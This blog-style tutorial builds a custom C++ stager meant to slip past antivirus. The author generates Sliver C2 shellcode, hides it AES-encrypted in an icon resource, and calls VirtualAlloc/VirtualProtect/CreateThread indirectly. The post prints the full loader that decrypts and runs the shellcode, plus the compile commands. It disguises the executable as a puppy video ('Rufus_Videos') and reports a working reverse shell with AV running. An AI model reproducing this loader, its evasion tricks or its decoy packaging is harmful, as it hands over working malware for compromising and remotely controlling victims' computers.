Building a simple custom implant for AV bypassing


Why use custom code?

Recently I have dived into the world of C++ to learn about creating custom implants or droppers. While I have experience working with C in college, its been a hot minute since I've actually touched a C style language besides a few small CTF challenges in the past, so its been nice to get back up to speed. I've learned about various payload storage techniques, encoding/encryption, the Windows API, and various code injection techniques. You may be asking why it would be beneficial to create custom malware, when a majority of the frameworks these days such as Metasploit and Cobalt Strike will create them for you. The simple answer is if its well known in the offensive space, then its most likely well known in the defensive space as well, including to EDR and AV vendors. Payloads created with default setups will usually be able to be picked up by security solutions almost instantly. An example of this is to create a default msfvenom payload yourself then try to place it on your Windows desktop (or a windows VM if you're using another OS) with Defender ON.

Creating the payload - defaults

Trying to put it on my desktop

I'm using Bitdefender in this instance, but Windows Defender would act no different in this case. This is detected as Metasploit code and blocked quickly. You may of noticed that these are not staged payloads, but full size meterpreter executables. If you are not aware of the difference, non-staged payloads contain all the needed code in the one executable to talk back to the C2 and perform any desired actions. Staged payloads are much smaller in size and contain enough code to talk to the C2, get the communication going, then proceeds to get the rest of the needed code after the fact. Which to use can be situation dependent, but normally staged payloads are preferable as it allows for a smaller footprint for AV to hit on when they are loaded on to the system.

Msfvenom does allow you to add some parameters for changing the payload data, maybe that will help in this case?
I have created a new payload that is staged and uses one of the more successful Metasploit encoders with 5 iterations. Lets test it against Bitdefender!

Once on the Desktop I don't get an immediate notification, but about 10 seconds after moving it over, it disappears and I get notified of a possible threat.

So looks like that didn't work. We could go deeper into working with msfvenom but the point here is to code our own droppers, so lets get to that!

Setting up the C2

😍
Sliver 1.5+ is out which has changed several aspects of Sliver such as Beacons vs Sessions, the Armory, and BOF support! You may notice differences compared to my last Sliver post.

Languages like C/C++ allow you work at a very low level when it comes to dealing with the OS, which is extremely handy when you're trying to evade AV/EDRs. So lets think about some of the features I want this implant to have. My end goal is to connect back to my C2, which in this case I will be using Sliver. I don't want to try to simply use a full size generated payload, so I will need to stage one. Sliver actually uses msfvenom behind the scenes to help facilitate this. Lets setup the C2 server first:

Two things have happened here, the https command is starting up the https service on the server to listen to incoming connections for sliver implants. The catch is Sliver does not create executable stagers as a default, instead this output as shellcode (you can change this if desired). generate stager --lhost <IP HERE> --lport 8090 --save /tmp which creates a raw file with the needed shellcode. The second command is setting up a listener for the stager on port 8090, using a specified profile. Profiles are basically prebuilt configs that you can name and customize for various targets/builds.

Example:

Start the stager listener:

Now that our server is ready and we have shellcode to use, lets get to building something to use it.

Planning our implant

Lets get an idea of what we want our implant to do and how we can go about doing it without triggering the well known static detections. We have shellcode but depending on how its generated, it may still pop some detections so lets encrypt it. We also want to avoid any strings that may give our implant away along with obfuscating function calls and ensuring it won't pop any windows a user may see. We can go a step further and give our stager a cute icon, like a puppy so its less suspicious! We could also hide our shellcode somewhere besides the main code base such as the resources that get included during compile time. Taking all this into account, we can to begin to code something up.

Building the implant

First things first is to take our previous shellcode for Sliver and encrypt it, making sure to take note of the key and payload and storing them as hexadecimal such as 0xe1. Using a script provided during the Sektor Essentials and Intermediate malware courses that I have ported to python3, we can easily do this. This script also saves the payload to a file called favicon.ico which will be useful later. Key note: I am using a Windows 11 Pro VM with VS 2022 installed with the C++ Dev package. I attempted this originally in a Windows server and was missing a lot of dependencies which I did not feel like trying to fix. Windows 10/11 is your best bet for creating a dev environment for this.

Note that I did this in a x86 terminal but I switched right after to compile for x64

Next we need build the base implant. I won't be doing a full code drop, but going over some of the highlights. First we need to define all our headers:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#include <psapi.h>
#include <tlhelp32.h>
#include "resources.h" // This is a local header file we will use to define our custom resource aka shellcode!

Next we are planning to obfuscate some of the api calls we know are normally watched since they are used frequently by malware actors when working in memory. The three here I used as example are VirtualAlloc , VirtualProtect , and CreateThread defined as custom pointers.

LPVOID ( WINAPI * pvaloc)(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);

HANDLE ( WINAPI * pcthrd)(
  LPSECURITY_ATTRIBUTES	lpThreadAttributes,
  SIZE_T	dwStackSize,
  LPTHREAD_START_ROUTINE  lpStartAddress,
  LPVOID lpParameter,
  DWORD	dwCreationFlags,
  LPDWORD	lpThreadId
);


BOOL (WINAPI * pvprot)(
  LPVOID lpAddress, 
  SIZE_T dwSize, 
  DWORD  flNewProtect,
  PDWORD lpflOldProtect);

Next we have a AES decryption function that will decrypt a payload based on the passed in key which is named helperClass. I'll leave it up to the reader to research on how to build that in C++. Next we have the main function that will import, decrypt, and execute our shellcode for us. It allows us to avoid some direct api function calls by using GetProcAddress and pulling handles from kernel32.dll.

💡
Take this next part a step further and encrypt the plaintext strings such as VirtualAlloc to avoid them showing up in tools like strings, floss, and debugger references during static analysis!
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR lpCmdLine, int nCmdShow) {
    
	void * exmem;
	BOOL rv;
	HANDLE th;
    DWORD oldprotect = 0;
	HGLOBAL resHandle = NULL;
	HRSRC res;
	// Our AES key
	char unlock[] = { 0xf3, 0xe1, 0x21, 0x2e, 0x27, 0x34, 0x55, 0x6d, 0xd6, 0x6e, 0x87, 0x27, 0x3a, 0x90, 0x38, 0xef };	
	unsigned char * pyld;
	unsigned int pyldlen;
	pvaloc = GetProcAddress(GetModuleHandle("kernel32.dll"),"VirtualAlloc"); // defining fuction calls
	pvprot = GetProcAddress(GetModuleHandle("kernel32.dll"),"VirtualProtect"); // |
	pcthrd = GetProcAddress(GetModuleHandle("kernel32.dll"),"CreateThread"); //   <
	res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA); // pulling shellcode from resources
	resHandle = LoadResource(NULL, res);
	pyld = (char *) LockResource(resHandle);
	pyldlen = SizeofResource(NULL, res);
	//																	^
	exmem = pvaloc(0, pyldlen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); //creating memory space for shellcode
	helperClass((char *) pyld, pyldlen, unlock, sizeof(unlock)); //decrypt it
	RtlMoveMemory(exmem, pyld, pyldlen); // Move it into new memory space
	rv = pvprot(exmem, pyldlen, PAGE_EXECUTE_READ, &oldprotect); // set RWX rights on memory so we can execute it
	if ( rv != 0 ) {  // If the above commands don't fail, create thread and execute this bad boy!
			th = pcthrd(0, 0, (LPTHREAD_START_ROUTINE) exmem, 0, 0, 0);
			WaitForSingleObject(th, -1);
	}

	return 0;
}

Looks good. Don't forget to set your resource files(.rc and .h) and lets see if this compiles. Let's give our exe a logo as well. How about this dog who I will name Rufus and our implant will be Rufus_Videos?


Lets compile:

rc resources.rc
cvtres /MACHINE:x64 /OUT:resources.o resources.res
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:Rufus_Videos.exe /SUBSYSTEM:WINDOWS /MACHINE:x64 resources.o

Looks like it compiled successfully! Will it run? I gave it a quick double click to watch this cute dogs video. Oddly nothing happened... is it really running?

Looks like it's running, and our AV is on Real-Time protection.

Still not convinced? Well lets scan it!

So far its running and has not been detected by AV. But did we actually get a return shell? At first I did not, which kind of confused me as I had done extensive testing. Turns out, my power went out as I was writing this blog post, and my ISP assigned address changed after I came back online. My C2 was set to only accept all TCP from my old IP, not the new one. A little config change for my firewall and I now have a reverse shell in Sliver.

All things considered, this is a very basic stager with potential to do so much more to be more robust, more stealthy, and have built in persistence. We could move into process injection into something like explorer and dll injection/hijacking. I have not tried this against full EDR solutions yet, but getting past AV is always a big win for attackers.

Conclusion

While toolkits and frameworks are fantastic for testing, the older and more popular they become, the more of a target they are for signatures/detections for leading security vendors, especially with any default configurations. Being able to effectively create payloads to accomplish specific goals will vastly improve your arsenal for dealing with much more mature environments and targets. This is only scratching the surface of what could be done using custom built tools. Stay tuned for more to come!

References:

(Give them 💸 for courses, worth it!)

SEKTOR7 Research